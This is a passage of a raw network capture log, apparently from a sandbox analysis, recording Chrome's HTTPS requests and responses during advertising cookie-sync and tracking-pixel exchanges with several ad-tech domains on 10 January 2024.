KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; PugT=1704929245
2024-01-10 23:27:26 UTC	708	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:26 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.4	50408	34.193.193.20	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	680	OUT	GET /map/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent= HTTP/1.1 Host: bcp.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _cc_cc=ctst
2024-01-10 23:27:27 UTC	694	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Type: image/gif Content-Length: 49 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.40.55.128 Set-Cookie: _cc_dc=0;Path=/;Domain=crwdcntrl.net;Expires=Sun, 06-Oct-2024 23:10:00 GMT;SameSite=None;Secure Set-Cookie: _cc_id=618691626ce21064702c7cbd4f29296d;Path=/;Domain=crwdcntrl.net;Expires=Sun, 06-Oct-2024 23:10:00 GMT;SameSite=None;Secure Set-Cookie: _cc_cc="";Version=1;Path=/;Domain=crwdcntrl.net;Expires=Thu, 01-Jan-1970 02:01:00 GMT;Max-Age=0;SameSite=None;Secure Access-Control-Allow-Origin: * Server: Jetty(9.4.38.v20210224)
2024-01-10 23:27:27 UTC	49	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 91 ff 00 ff ff ff 00 00 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 02 00 2c 00 00 00 00 01 00 01 00 00 02 02 54 01 00 3b Data Ascii: GIF89a!,T;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.4	50405	54.174.90.242	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	1418	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4; sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4
2024-01-10 23:27:27 UTC	304	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Wed, 10 Jan 2024 23:27:27 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= Content-Length: 188 Connection: Close
2024-01-10 23:27:27 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 69 4d 36 6e 7a 45 46 4c 57 54 46 45 6b 4a 4f 4a 41 41 73 30 45 47 61 6c 4d 43 6f 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.4	50411	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3593	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyMDImdGw9MTI5NjAw&piggybackCookie=e9qoKPUsCQSvHM9C2yefZQ HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; PugT=1704929246
2024-01-10 23:27:27 UTC	621	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:26 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ Set-Cookie: PugT=1704929246; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:26 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:27 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.4	50403	18.160.10.111	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	718	OUT	GET /syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: synchroscript.deliveryengine.adswizz.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:27 UTC	312	IN	HTTP/1.1 200 OK Server: CloudFront Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Length: 0 Connection: close X-Cache: Error from cloudfront Via: 1.1 68a3b1d5c75429221abc685a453afb60.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P3 X-Amz-Cf-Id: 6fWnq65dWjKKTKXFlxgBCRwXxxxkrlKL9UqiwHOFoz-cnXZLQ_-FIw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.4	50404	34.231.250.139	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	971	OUT	GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; ss=lQS0Fm%2FE261Zvys8Dq5GTz0HaMv6FzJdkQFw0eyai0gcZuf%2BnVKFQET27F%2BnkI%2BAcgLKB0TJyWvX9fHRum5rvg%3D%3D
2024-01-10 23:27:27 UTC	337	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Length: 0 Connection: close Server: Kestrel Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=40f09b66-e671-4da3-b991-c14247c4cce6&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.4	50412	52.85.151.39	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	671	OUT	GET /live/liveCS.php?source=external&advId=100&advUuid=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: live.primis.tech Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:27 UTC	813	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close server: nginx date: Wed, 10 Jan 2024 23:27:27 GMT p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: no-store pragma: no-cache set-cookie: csuuid=659f27df55741; expires=Sun, 04-Feb-2024 23:27:27 GMT; Max-Age=2160000; path=/; domain=.primis.tech; secure; SameSite=None location: https://sync.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&mi=10&dpi=793790479&3rddpi=1725065545&3rdpcid=LR8EUG12-1F-5JG4 X-Cache: Miss from cloudfront Via: 1.1 fb41e17254dfd781519e95cedd257826.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C3 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: 0m1a3403mAn-sMGkgzPRBCL0nzhjqoh7IsWe9Qmg0xsaPUCkE87FDA== Age: 0
2024-01-10 23:27:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.4	50401	35.244.154.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	727	OUT	GET /712188.gif?partner_uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rlas3=A5tV0QjfDAJz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; pxrc=CAA=
2024-01-10 23:27:27 UTC	743	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://pippio.com/api/sync?pid=5324&it=1&iv=1103582a403e7fff22937737c325df5ce80bade9f8d424f6b32d97381eca9846791426b5417dce21&_=2 P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=Gj29/1caj2Jz2cgWXsmlck11XlQKEnC3di4CHt5kBGE=; Path=/; Domain=rlcdn.com; Expires=Thu, 09 Jan 2025 23:27:27 GMT; Secure; SameSite=None Set-Cookie: pxrc=CN/P/KwGEgUI6EcQAA==; Path=/; Domain=rlcdn.com; Expires=Sun, 10 Mar 2024 23:27:27 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Wed, 10 Jan 2024 23:27:27 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.4	50409	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	788	OUT	GET /idsync/ex/receive?partner_id=3203&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=1!263
2024-01-10 23:27:27 UTC	1100	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:27 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:27 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:27 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!263;Expires=Sun, 10 Mar 2024 23:27:27 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:27 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.4	50413	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:27 UTC	3737	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; 